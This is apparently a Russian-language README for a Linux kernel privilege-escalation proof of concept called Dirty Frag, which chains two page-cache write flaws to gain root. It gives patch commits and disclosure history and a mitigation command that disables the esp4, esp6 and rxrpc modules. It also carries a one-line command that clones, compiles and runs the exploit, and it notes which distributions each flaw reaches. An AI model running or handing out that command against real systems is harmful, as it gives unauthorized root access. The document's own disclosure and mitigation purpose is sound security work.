
# Эксплойт повышения привилегий в ядре Linux Эксплойт повышения привилегий в ядре Linux, объединяющий две уязвимости записи в page-cache (CVE-2026-43284, CVE-2026-43500) для детерминированного получения root-доступа на основных дистрибутивах.
В этом документе объясняется класс уязвимостей Dirty Frag, обнаруженный и описанный Hyunwoo Kim (@v4bel). Связывая xfrm-ESP Page-Cache Write (CVE-2026-43284) с RxRPC Page-Cache Write (CVE-2026-43500), атакующий может повысить привилегии до root в основных дистрибутивах Linux.
Dirty Frag относится к тому же семейству ошибок, что и Dirty Pipe и Copy Fail. Это детерминированная логическая ошибка, которая не полагается на временные окна или гонки, не вызывает панику ядра при сбое и обладает очень высокой вероятностью успеха при эксплуатации.
Полные технические детали и временную шкалу раскрытия см. в accompanying write-up (не включён в этот репозиторий).
xfrm-ESP Page-Cache Write (CVE-2026-43284) исправлена в mainline коммитом f4c50a4034e6.RxRPC Page-Cache Write (CVE-2026-43500) исправлена в mainline коммитом aa54b1d27fe0.[!NOTE] Когда этот документ был впервые опубликован (2026-05-07), эмбарго уже было нарушено извне. На тот момент публичного патча или CVE не существовало. После обсуждений с мейнтейнерами в [email protected] было опубликовано раскрытие Dirty Frag. Хронологию см. в техническом отчёте.
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Этот PoC предоставлен в информационных целях после координации с linux-distros. Не запускайте его против систем, к тестированию которых вы не авторизованы.
⚠️ Важно: Запуск эксплойта загрязняет page cache. Чтобы восстановить чистое состояние, выполните одно из следующих действий:
echo 3 > /proc/sys/vm/drop_caches
или перезагрузите машину.
По сути, эти уязвимости охватывают примерно девять лет.
Протестированные версии дистрибутивов включают:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
xfrm-ESP Page-Cache Write предоставляет мощный произвольный примитив STORE из 4 байт, похожий на Copy Fail, и доступен во многих дистрибутивах, но для его запуска требуются привилегии на создание namespace.
Ubuntu может ограничивать создание непривилегированных user namespace через AppArmor, что препятствует срабатыванию xfrm-ESP. RxRPC Page-Cache Write не требует привилегий на создание namespace, но модуль rxrpc.ko по умолчанию отсутствует во многих дистрибутивах. Однако в Ubuntu модуль rxrpc.ko обычно загружен.
Связывание обеих уязвимостей компенсирует недостатки друг друга, позволяя получить root во всех основных дистрибутивах. Подробности см. в техническом отчёте.
Да — Dirty Frag связана с «Dirty Pipe», и название отражает то, что этот класс ошибок изменяет член frag структуры struct sk_buff.
Copy Fail вдохновил это исследование. xfrm-ESP Page-Cache Write в цепочке Dirty Frag использует тот же sink, что и Copy Fail, но срабатывает даже при наличии mitigation algif_aead. Таким образом, системы, защищённые от Copy Fail, могут оставаться уязвимыми к Dirty Frag.
Выполните шаги из раздела «Мitigation» выше.
Мейнтейнер: https://linkedin.com/in/tahamuhammadshafiq